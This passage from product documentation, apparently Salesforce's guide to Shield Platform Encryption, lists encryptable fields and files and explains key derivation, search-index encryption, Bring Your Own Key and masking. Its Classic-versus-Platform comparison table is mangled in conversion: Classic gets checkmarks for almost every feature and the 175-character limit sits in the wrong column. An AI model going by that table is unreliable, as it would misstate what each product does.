<td>Object</td>
<td>Fields</td>
<td>Notes</td>
</tr>
<tr>
<td>-------------------------</td>
<td>------------------------------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Regulatory Code Violation</td>
<td>Provider Email Provider Name Provider Phone Referrer Email Referrer Name Referrer Phone</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>Service Appointments</td>
<td>Address (Encrypts Street and City) Description Subject</td>
<td></td>
</tr>
<tr>
<td>Social Persona</td>
<td>Bio Profile URL Provider External Picture URL Real Name</td>
<td>Before you can apply encryption to Social Persona fields, make sure that Social Customer Service is enabled and connected to a Marketing Cloud Social service.</td>
</tr>
<tr>
<td>Social Post</td>
<td>Attachment URL Headline Message Post URL Social Handle</td>
<td>Before you can apply encryption to Social Post fields, make sure that Social Customer Service is enabled and connected to a Marketing Cloud Social service.</td>
</tr>
<tr>
<td>Survey Question Response</td>
<td>Date Value Date Time Value Choice Value Response Value</td>
<td></td>
</tr>
<tr>
<td>Training Course</td>
<td>Description Name</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>User</td>
<td>Email</td>
<td></td>
</tr>
<tr>
<td>Utterance Suggestion</td>
<td>Utterance</td>
<td></td>
</tr>
</tbody>
</table>
### Emergency Response Management for Public Sector

Standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Video Call</td>
<td>Description, End Date Time, Start Date Time, Vendor Meeting Uuid</td>
<td></td>
</tr>
<tr>
<td>Video Call Participant</td>
<td>Email, Join Date Time, Leave Date Time</td>
<td></td>
</tr>
<tr>
<td>Violation Enforcement Action</td>
<td>Description</td>
<td>Emergency Response Management for Public Sector standard objects and fields are available to users who have the Emergency Response for Public Sector permission set license.</td>
</tr>
<tr>
<td>Voice Call</td>
<td>FromPhoneNumber, ToPhoneNumber</td>
<td></td>
</tr>
<tr>
<td>Web Quote</td>
<td>Introduction, Notes, Ship to City, Ship to Country, Ship to Name, Ship to Postal Code, Ship to State, Ship to Street, Description, Product Code</td>
<td></td>
</tr>
<tr>
<td>Work Orders</td>
<td>Address (Encrypts Street and City), Description, Subject</td>
<td></td>
</tr>
<tr>
<td>Work Order Line Items</td>
<td>Address (Encrypts Street and City), Description, Subject</td>
<td></td>
</tr>
</tbody>
</table>
## Compatible Health Cloud Fields

Health Cloud standard objects and fields are available to users who have the Health Cloud Platform permission set license.

- **Note:** Deterministic encryption is unavailable for long text fields and fields that have Notes in the name.

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>Care Plan Template Problem</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Enrollee</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Enrollee Product</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Provider</td>
<td>Name</td>
</tr>
<tr>
<td>Care Request</td>
<td>Admission Notes</td>
</tr>
<tr>
<td></td>
<td>Disposition Notes</td>
</tr>
<tr>
<td></td>
<td>Facility Record Number</td>
</tr>
<tr>
<td></td>
<td>First Reviewer Notes</td>
</tr>
<tr>
<td></td>
<td>Medical Director Notes</td>
</tr>
<tr>
<td></td>
<td>Member First Name</td>
</tr>
<tr>
<td></td>
<td>Member Last Name</td>
</tr>
<tr>
<td></td>
<td>Member ID</td>
</tr>
<tr>
<td></td>
<td>Member Group Number</td>
</tr>
<tr>
<td></td>
<td>Resolution Notes</td>
</tr>
<tr>
<td></td>
<td>Root Cause Notes</td>
</tr>
<tr>
<td>Care Request Drug</td>
<td>Prescription Number</td>
</tr>
<tr>
<td>Care Specialty</td>
<td>Name</td>
</tr>
<tr>
<td>Contact Encounter</td>
<td>Name</td>
</tr>
<tr>
<td>Coverage Benefit</td>
<td>Benefit Notes</td>
</tr>
<tr>
<td></td>
<td>Coinsurance Notes</td>
</tr>
<tr>
<td></td>
<td>Copay Notes</td>
</tr>
<tr>
<td></td>
<td>Deductible Notes</td>
</tr>
<tr>
<td></td>
<td>Lifetime Maximum Notes</td>
</tr>
<tr>
<td></td>
<td>Name</td>
</tr>
<tr>
<td></td>
<td>Out-of-Pocket Notes</td>
</tr>
<tr>
<td></td>
<td>Source System Identifier</td>
</tr>
<tr>
<td>Object</td>
<td>Fields</td>
</tr>
<tr>
<td>-------------------------------------</td>
<td>---------------------------------------------</td>
</tr>
<tr>
<td>Care Plan Template Problem</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Enrollee</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Enrollee Product</td>
<td>Name</td>
</tr>
<tr>
<td>Care Program Provider</td>
<td>Name</td>
</tr>
<tr>
<td>Coverage Benefit Item</td>
<td>Coverage Level</td>
</tr>
<tr>
<td></td>
<td>Notes</td>
</tr>
<tr>
<td></td>
<td>Service Type</td>
</tr>
<tr>
<td></td>
<td>Service Type Code</td>
</tr>
<tr>
<td></td>
<td>Source System Identifier</td>
</tr>
<tr>
<td>Healthcare Provider Specialty</td>
<td>Name</td>
</tr>
<tr>
<td>Member Plan</td>
<td>Affiliation</td>
</tr>
<tr>
<td></td>
<td>Group Number</td>
</tr>
<tr>
<td></td>
<td>Issuer Number</td>
</tr>
<tr>
<td></td>
<td>Member Number</td>
</tr>
<tr>
<td></td>
<td>Name</td>
</tr>
<tr>
<td></td>
<td>Primary Care Physician</td>
</tr>
<tr>
<td></td>
<td>Source System Identifier</td>
</tr>
<tr>
<td>Purchaser Plan</td>
<td>Name</td>
</tr>
<tr>
<td></td>
<td>Plan Number</td>
</tr>
<tr>
<td></td>
<td>Service Type</td>
</tr>
<tr>
<td></td>
<td>Source System</td>
</tr>
<tr>
<td></td>
<td>Source System Identifier</td>
</tr>
<tr>
<td>Purchaser Plan Association</td>
<td>Purchaser Plan Association ID</td>
</tr>
<tr>
<td></td>
<td>Status</td>
</tr>
<tr>
<td></td>
<td>Source System</td>
</tr>
<tr>
<td></td>
<td>Source System Identifier</td>
</tr>
</tbody>
</table>

**Compatible Financial Services Cloud Fields**

Financial Services Cloud standard objects and fields are available to users who have Financial Services Cloud enabled.
### Compatible Insurance for Financial Services Cloud Fields

Insurance for Financial Services Cloud standard objects and fields are available to users who have Financial Services Cloud enabled.

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>Business Milestone</td>
<td>Milestone Description</td>
</tr>
<tr>
<td></td>
<td>Milestone Name</td>
</tr>
<tr>
<td>Claim</td>
<td>Claim Number</td>
</tr>
<tr>
<td></td>
<td>Incident Site</td>
</tr>
<tr>
<td></td>
<td>Report Number</td>
</tr>
<tr>
<td>Customer Property</td>
<td>Address</td>
</tr>
<tr>
<td></td>
<td>Lien Holder Name</td>
</tr>
<tr>
<td>Insurance Policy</td>
<td>Policy Number</td>
</tr>
<tr>
<td></td>
<td>Servicing Office</td>
</tr>
<tr>
<td></td>
<td>Universal Policy Number</td>
</tr>
<tr>
<td>Person Life Event</td>
<td>Event Description</td>
</tr>
<tr>
<td></td>
<td>Event Name</td>
</tr>
<tr>
<td>Securities Holding</td>
<td>Name</td>
</tr>
</tbody>
</table>
Compatible Loyalty Management Fields

Loyalty Management standard objects and fields are available to users who have Loyalty Management enabled.

<table>
<thead>
<tr>
<th>Shield Platform Encryption Supported Objects</th>
<th>Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>Loyalty Program Group Member Relationship</td>
<td>Member Name</td>
</tr>
</tbody>
</table>

Compatible Salesforce CPQ Fields

Salesforce CPQ standard objects and fields are available to users who have the Salesforce CPQ permission set license.

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lookup Data</td>
<td>Lookup Data</td>
</tr>
<tr>
<td>Process Input Value</td>
<td>Value</td>
</tr>
<tr>
<td>Quote</td>
<td>Bill To City</td>
</tr>
<tr>
<td></td>
<td>Bill To Country</td>
</tr>
<tr>
<td></td>
<td>Bill To Name</td>
</tr>
<tr>
<td></td>
<td>Bill To Postal Code</td>
</tr>
<tr>
<td></td>
<td>Bill To State</td>
</tr>
<tr>
<td></td>
<td>Bill To Street</td>
</tr>
<tr>
<td></td>
<td>Introduction</td>
</tr>
<tr>
<td></td>
<td>Notes</td>
</tr>
<tr>
<td></td>
<td>Ship To City</td>
</tr>
<tr>
<td></td>
<td>Ship To Country</td>
</tr>
<tr>
<td></td>
<td>Ship To Name</td>
</tr>
<tr>
<td></td>
<td>Ship To Postal Code</td>
</tr>
<tr>
<td></td>
<td>Ship To State</td>
</tr>
<tr>
<td></td>
<td>Ship To Street</td>
</tr>
<tr>
<td>Quote Template</td>
<td>Company Name</td>
</tr>
<tr>
<td>Quote Term</td>
<td>Body</td>
</tr>
<tr>
<td>Tax Exemption Certificate</td>
<td>Certificate Number</td>
</tr>
<tr>
<td></td>
<td>Country</td>
</tr>
<tr>
<td></td>
<td>County</td>
</tr>
<tr>
<td></td>
<td>Exempt Company Name</td>
</tr>
<tr>
<td></td>
<td>Notes</td>
</tr>
<tr>
<td></td>
<td>Postal Code</td>
</tr>
<tr>
<td></td>
<td>State</td>
</tr>
</tbody>
</table>
### Compatible Workplace Command Center Fields

<table>
<thead>
<tr>
<th>Object</th>
<th>Fields</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Employee</td>
<td>Alternate Email</td>
<td>To enable encryption on the Employee object, contact Salesforce Customer Support.</td>
</tr>
<tr>
<td></td>
<td>Email</td>
<td></td>
</tr>
<tr>
<td></td>
<td>First Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Home Address</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Home Phone</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Middle Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Preferred First Name</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Work Phone</td>
<td></td>
</tr>
</tbody>
</table>

### Which Custom Fields Can I Encrypt?

You can apply Shield Platform Encryption to the contents of fields that belong to one of these custom field types.

- Email
- Phone
- Text
- Text Area
- Text Area (Long)
- Text Area (Rich)
- URL
- Date
- Date/Time

After a custom field is encrypted, you can’t change the field type. For custom phone and email fields, you also can’t change the field format.

**Important:** When you encrypt the Name field, enhanced lookups are automatically enabled. Enhanced lookups improve the user’s experience by searching only through records that have been looked up recently, and not all existing records. Switching to enhanced lookups is a one-way change. You can’t go back to standard lookups, even if you disable encryption.

You can’t use Schema Builder to create an encrypted custom field.

To encrypt custom fields that have the Unique or External ID attribute, you can only use deterministic encryption.
Unsupported Custom Fields

Some custom fields can’t be encrypted.

- Fields on external data objects
- Fields that are used in an account contact relation
- Fields with data translation enabled
- Rich Text Area fields on Knowledge Articles

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Which Files Are Encrypted?

When you enable Shield Platform Encryption for files and attachments, all files and attachments that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s uploaded.

These kinds of files are encrypted when you enable file encryption:

- Files attached to email
- Files attached to feeds
- Files attached to records
- Images included in Rich Text Area fields
- Files on the Content, Libraries, and Files tabs (Salesforce Files, including file previews, and Salesforce CRM Content files)
- Files managed with Salesforce Files Sync and stored in Salesforce
- Files attached to Chatter posts, comments, and the sidebar
- Notes body text using the new Notes tool
- Files attached to Knowledge articles
- Quote PDFs

These file types and attachments aren’t encrypted:

- Chatter group photos
- Chatter profile photos
- Documents
- Notes previews in the new Notes tool
- Notes and Notes previews in the old Notes tool

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
What Other Data Elements Can I Encrypt?

In addition to standard and custom field data and files, Shield Platform Encryption supports other Salesforce data. You can encrypt CRM Analytics datasets, Chatter fields, fields in the Salesforce B2B Commerce managed package, and more.

**Change Data Capture**

Change Data Capture provides near-real-time changes of Salesforce records, enabling you to synchronize corresponding records in an external data store. If a Salesforce record field is encrypted with Shield Platform Encryption, changes to encrypted field values generate change events. You can encrypt these change events by selecting **Encrypt and deliver Change Data Capture events** on the Encryption Policy page in Setup.

**Chatter Feed**

Encrypted Chatter data includes data in feed posts and comments, questions and answers, link names and URLs. It also includes poll choices and questions, and content from your custom rich publisher apps.

The revision history of encrypted Chatter fields is also encrypted. If you edit or update an encrypted Chatter field, the old information remains encrypted.

Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The database fields on these objects that house encrypted data is visible from the Encryption Statistics page in Setup.

- ChatterExtensionInstance—Payload
- ChatterExtensionInstance—PayloadVersion
- ChatterExtensionInstance—TextRepresentation
- ChatterExtensionInstance—ThumbnailUrl
- ChatterExtensionInstance—Title
- FeedAttachment—Title
- FeedAttachment—Value
- FeedComment—RawCommentBody
- FeedPollChoice—ChoiceBody
- FeedPost—LinkUrl
- FeedPost—RawBody
- FeedPost—Title
- FeedRevision—RawValue

Some fields listed in the Encryption Statistics aren’t visible in the UI by the same name. However, they store all encrypted data that’s visible in the UI.

**Note**: Enabling Encryption for Chatter encrypts all eligible Chatter fields. You can’t choose to encrypt only some Chatter fields.

**CRM Analytics**

Encrypts new CRM Analytics datasets.

**Note**: Data that was in CRM Analytics before encryption was enabled isn’t encrypted. If existing data is imported from Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other existing data (such as CSV data) must be reimported to become encrypted. Although existing data isn’t encrypted, it’s still accessible and fully functional in its unencrypted state when encryption is enabled.
Salesforce B2B Commerce

Shield Platform Encryption for B2B Commerce (version 4.10 and later) adds an extra layer of security to the data your customers enter in Salesforce B2B Commerce ecommerce storefronts. For a list of the supported fields, see Shield Platform Encryption for B2B Commerce.

Search Indexes

When you encrypt search indexes, each file created to store search results is encrypted.

How Shield Platform Encryption Works

Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that’s maintained by Salesforce. By default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized users need it.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Encrypting files, fields, and attachments has no effect on your org’s storage limits.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

IN THIS SECTION:

Shield Platform Encryption Terminology
Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption features, it’s a good idea to familiarize yourself with key terminology.

What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.

Behind the Scenes: The Shield Platform Encryption Process
When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The Shield Platform Encryption service then encrypts the data on the application server. If customers opt out of key derivation or use the Cache-Only Key Service, the encryption service applies the customer-supplied data encryption key directly to customer data.

Behind the Scenes: The Search Index Encryption Process
The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.

How Does Shield Platform Encryption Work in a Sandbox?
Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield Platform Encryption is enabled on the production org, all encryption settings are copied, including tenant secrets created in production.
Why Bring Your Own Key?
Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection if there is unauthorized access to critical data. It could also help you meet the regulatory requirements that come with handling financial data, such as credit card numbers; health data, such as patient care records or insurance information; or other kinds of private data, such as social security numbers, addresses, and phone numbers. After you’ve set up your key material, you can use Shield Platform Encryption as you normally would to encrypt data at rest in your Salesforce org.

Why Isn’t My Encrypted Data Masked?
If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot encryption key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’ field-level security settings, record access settings, and object permissions.

Shield Platform Encryption in Hyperforce
Shield Platform Encryption operates in parallel with volume-level encryption. By default, Hyperforce provides volume-level encryption for data at rest. Volume-level encryption protects all the data on a disk with one encryption key, which Salesforce owns and manages. With Shield Platform Encryption, you can encrypt your data in Hyperforce with unique keys that you control and manage.

How Do I Deploy Shield Platform Encryption?
When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions for Visual Studio Code, Migration Tool, or Postman, the Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the effect depends on whether Shield Platform Encryption is enabled in the target org.

Shield Platform Encryption Terminology

Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption features, it’s a good idea to familiarize yourself with key terminology.

**Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

**Data Encryption**
The process of applying a cryptographic function to data that results in ciphertext. The Shield Platform Encryption process uses symmetric key encryption, a 256-bit Advanced Encryption Standard (AES) algorithm using CBC mode, and a randomized 128-bit initialization vector to encrypt data stored on the Salesforce Platform. Both data encryption and decryption occur on the application servers.

**Data Encryption Keys**
Shield Platform Encryption uses data encryption keys to encrypt and decrypt data. Data encryption keys are derived on the Shield Key Management Service (KMS) using keying material split between a per-release master secret and an org-specific tenant secret stored encrypted in the database. The 256-bit derived keys exist in memory until evicted from the cache.

**Encrypted Data at Rest**
Data that is encrypted when persisted on disk. Salesforce supports encryption for fields stored in the database; documents stored in files, content, libraries, and attachments; search index files; CRM Analytics datasets; and archived data.

**Encryption Key Management**
Refers to all aspects of key management, such as key generation, processes, and storage. Administrators or users who have the Manage Encryption Keys permission can work with Shield Platform Encryption key material.
Hardware Security Module (HSM)
Used to provide cryptography processing and key management for authentication. Shield Platform Encryption uses HSMs to generate and store secret material, and run the function that derives data encryption keys used by the encryption service to encrypt and decrypt data.

Initialization Vector (IV)
A random sequence used with a key to encrypt data.

Shield Key Management Service (KMS)
Generates, wraps, unwraps, derives, and secures key material. When deriving key material, the Shield KMS uses a pseudorandom number generator and input such as a password to derive keys. Shield Platform Encryption uses PBKDF2 (Password-based Key Derivation Function 2) with HMAC-SHA-256.

Key Rotation
The process of generating a new tenant secret and archiving the previously active one. Active tenant secrets are used for both encryption and decryption. Archived ones are used only for decryption until all data has been re-encrypted using the new, active tenant secret.

Master HSM
The master HSM consists of a USB device used to generate secure, random secrets each Salesforce release. The master HSM is air-gapped from Salesforce's production network and stored securely in a bank safety deposit box.

Master Secret
Used with the tenant secret and key derivation function to generate a derived data encryption key (customers can opt out of key derivation). The master secret is rotated each release by Salesforce and encrypted using the per-release master wrapping key. The master wrapping key is in turn encrypted with the Shield KMS's public key so it can be stored encrypted on the file system. Only HSMs can decrypt it. No Salesforce employees have access to these keys in cleartext.

Master Wrapping Key
A symmetric key is derived and used as a master wrapping key, also known as a key wrapping key, encrypting all the per-release keys and secrets bundle.

Tenant Secret
An organization-specific secret used in conjunction with the master secret and key derivation function to generate a derived data encryption key. No Salesforce employees have access to these keys in cleartext.

What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.

<table>
<thead>
<tr>
<th>Feature</th>
<th>Classic Encryption</th>
<th>Platform Encryption</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pricing</td>
<td>Included in base user license</td>
<td>Additional fee applies</td>
</tr>
<tr>
<td>Encryption at Rest</td>
<td><img src="Image" alt=" " /></td>
<td><img src="Image" alt=" " /></td>
</tr>
<tr>
<td>Native Solution (No Hardware or Software Required)</td>
<td><img src="Image" alt=" " /></td>
<td><img src="Image" alt=" " /></td>
</tr>
<tr>
<td>Feature</td>
<td>Classic Encryption</td>
<td>Platform Encryption</td>
</tr>
<tr>
<td>---------</td>
<td>--------------------</td>
<td>---------------------</td>
</tr>
<tr>
<td>Encryption Algorithm</td>
<td>128-bit Advanced Encryption Standard (AES)</td>
<td>256-bit Advanced Encryption Standard (AES)</td>
</tr>
<tr>
<td>HSM-based Key Derivation</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Manage Encryption Keys Permission</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Generate, Export, Import, and Destroy Keys</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>PCI-DSS L1 Compliance</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Masking</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Mask Types and Characters</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>View Encrypted Data Permission Required to Read Encrypted Field Values</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Encrypted Standard Fields</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Encrypted Attachments, Files, and Content</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Encrypted Custom Fields</td>
<td></td>
<td>Dedicated custom field type, limited to 175 characters</td>
</tr>
<tr>
<td>Encrypt Existing Fields for Supported Custom Field Types</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Search (UI, Partial Search, Lookups, Certain SOSL Queries)</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>API Access</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Available in Workflow Rules and Workflow Field Updates</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Available in Approval Process Entry Criteria and Approval Step Criteria</td>
<td>✔</td>
<td>✔</td>
</tr>
</tbody>
</table>

SEE ALSO:

Classic Encryption for Custom Fields
Behind the Scenes: The Shield Platform Encryption Process

When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The Shield Platform Encryption service then encrypts the data on the application server. If customers opt out of key derivation or use the Cache-Only Key Service, the encryption service applies the customer-supplied data encryption key directly to customer data.

**Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Salesforce securely generates the master and tenant secrets by using Hardware Security Modules (HSMs). The unique key is derived by using PBKDF2, a Key Derivation Function (KDF), with the master and tenant secrets as inputs.

---

**Shield Platform Encryption Process Flow**

1. When a Salesforce user saves encrypted data, the runtime engine determines from metadata whether to encrypt the field, file, or attachment before storing it in the database.
2. If so, the encryption service checks for the matching data encryption key in cached memory.
3. The encryption service determines whether the key exists.
   a. If so, the encryption service retrieves the key.
   b. If not, the service sends a derivation request to a key derivation server and returns it to the encryption service running on the Salesforce Platform.
4. After retrieving or deriving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using 256-bit AES encryption.
5. The ciphertext is saved in the database or file storage. The IV and corresponding ID of the tenant secret used to derive the data encryption key are saved in the database.

Salesforce generates a new master secret at the start of each release.

**Behind the Scenes: The Search Index Encryption Process**

The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.

Using Shield Platform Encryption's HSM-based key derivation architecture, metadata, and configurations, Search Index Encryption runs when Shield Platform Encryption is in use. The solution applies strong encryption on an org-specific search index (.fdt, .tim, and .tip file types) using an org-specific AES-256 bit encryption key. The search index is encrypted at the search index segment level, and all search index operations require index blocks to be encrypted in memory.

The only way to access the search index or the key cache is through programmatic APIs.

A Salesforce security administrator can enable Search Index Encryption from Setup. The administrator first creates a tenant secret of the Search Index type, then enables Encryption for Search Indexes. The admin configures their encryption policy by selecting fields and files to encrypt. An org-specific HSM-derived key is derived from the tenant secret on demand. The key material is passed to the search engine's cache on a secure channel.

The process when a user creates or edits records:

1. The core application determines if the search index segment should be encrypted or not based on metadata.
2. If the search index segment should be encrypted, the encryption service checks for the matching search encryption key ID in the cached memory.
3. The encryption service determines if the key exists in the cache.
   a. If the key exists in the cache, the encryption service uses the key for encryption.
   b. Otherwise, the service sends a request to the core application, which in turn sends an authenticated derivation request to a key derivation server and returns the key to the core application server.
4. After retrieving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using NSS or JCE's AES-256 implementation.
5. The key ID (identifier of the key being used to encrypt the index segment) and IV are saved in the search index.

The process is similar when a user searches for encrypted data:

1. When a user searches for a term, the term is passed to the search index, along with which Salesforce objects to search.
2. When the search index executes the search, the encryption service opens the relevant segment of the search index in memory and reads the key ID and IV.
3. Steps 3 through 5 of the process when a user creates or edits records are repeated.
4. The search index processes the search and returns the results to the user seamlessly.

If Salesforce admins disable encryption on a field, all index segments that were encrypted are unencrypted and the key ID is set to null. This process can take up to seven days.
How Does Shield Platform Encryption Work in a Sandbox?

Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield Platform Encryption is enabled on the production org, all encryption settings are copied, including tenant secrets created in production.

Once a sandbox is refreshed, tenant secret changes are confined to your current org. This means that when you rotate or destroy a tenant secret on sandbox, it doesn’t affect the production org.

As a best practice, rotate tenant secrets on sandboxes after a refresh. Rotation ensures that production and sandbox use different tenant secrets. Destroying tenant secrets on a sandbox renders encrypted data unusable in cases of partial or full copies.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Why Bring Your Own Key?

Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection if there is unauthorized access to critical data. It could also help you meet the regulatory requirements that come with handling financial data, such as credit card numbers; health data, such as patient care records or insurance information; or other kinds of private data, such as social security numbers, addresses, and phone numbers. After you’ve set up your key material, you can use Shield Platform Encryption as you normally would to encrypt data at rest in your Salesforce org.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Shield Platform Encryption enables Salesforce administrators to manage the lifecycle of their data encryption keys while protecting these keys from unauthorized access. By controlling the lifecycle of your organization’s tenant secrets, you control the lifecycle of the data encryption keys derived from them. Alternatively, you can opt out of key derivation altogether and upload a final data encryption key.

Data encryption keys aren’t stored in Salesforce. Instead, they’re derived from the master secret and tenant secret on demand whenever a key is needed to encrypt or decrypt customer data. The master secret is generated once per release for everyone by a hardware security module (HSM). The tenant secret is unique to your org, and you control when it’s generated, activated, revoked, or destroyed.

You have four options for setting up your key material.

- Use the Shield Key Management Service (KMS) to generate your org-specific tenant secret for you.
- Use the infrastructure of your choice, such as an on-premises HSM, to generate and manage your tenant secret outside of Salesforce. Then upload that tenant secret to the Salesforce KMS. This option is popularly known as “Bring Your Own Key,” although the element you’re really bringing is the tenant secret from which the key is derived.
- Opt out of the Shield KMS key derivation process with the Bring Your Own Key service. Use the infrastructure of your choice to create a data encryption key instead of a tenant secret. Then upload this data encryption key to the Shield KMS. When you opt out of derivation on a key-by-key basis, the Shield KMS bypasses the derivation process and uses this key material as your final data encryption key. You can rotate customer-supplied data encryption keys just like you would rotate a customer-supplied tenant secret.
• Generate and store your key material outside of Salesforce using a key service of your choice, and use the Salesforce Cache-Only Key Service to fetch your key material on demand. Your key service transmits your key material over a secure channel that you configure. It’s then encrypted and stored in the cache for immediate encrypt and decrypt operations.

Why Isn’t My Encrypted Data Masked?

If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot encryption key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’ field-level security settings, record access settings, and object permissions.

Encryption prevents outsiders from using your Salesforce data even if they manage to get it. It is not a way to hide data from authenticated users. User permissions are the only way to control data visibility for authenticated users. Encryption at rest is about logins, not permissions.

With Shield Platform Encryption, if a user is authorized to see a given set of data, that user sees that data whether it’s encrypted or not.

• Authentication means that making sure only legitimate users can get into your system. For example, a company’s Salesforce org is only for use by active employees of that company. Anyone who is not an employee is not authenticated; that is, they are barred from logging in. If they do somehow get their hands on the data, it’s useless to them because it is encrypted.

• Authorization defines which data or features an authenticated user can use. For example, a sales associate can see and use data in the Leads object, but can’t see the regional forecasts, which are intended for sales managers. Both the associate and the manager are properly logged in (authenticated), but their permissions (authorization) are different. That the data is encrypted doesn’t make any difference to them.

In general, data can be masked but not encrypted, or encrypted but not masked. For example, regulators often require that only the last four digits of a credit card number be visible to users. Applications typically mask the rest of the number, meaning they replace the digits with asterisks on the user’s screen. Without encryption, you can still read the digits that are masked if you can get to the database where they are stored.

Masking might not be enough for your credit card numbers. You may or may not want to encrypt them in the database as well. (You probably should.) If you do, authenticated users will still see the same masked values.

In this way, masking and encryption are different solutions for different problems. You mask data to hide it from users who are authenticated but not authorized to see that data. You encrypt data to prevent someone from stealing the data. (Or, more precisely, to make the data useless if someone does steal it.)

The following table shows the fields that use masking. All others don’t.

<table>
<thead>
<tr>
<th>Field Type</th>
<th>Mask</th>
<th>What It Means</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email, Phone, Text, Text Area,</td>
<td>????</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td>Text Area (Long), URL</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Custom Date</td>
<td>08/08/1888</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td></td>
<td>01/01/1777</td>
<td>This service is unavailable right now. For help accessing this service, contact Salesforce.</td>
</tr>
</tbody>
</table>

Editions


Available in both Salesforce Classic and Lightning Experience.
What It Means

<table>
<thead>
<tr>
<th>Field Type</th>
<th>Mask</th>
<th>What It Means</th>
</tr>
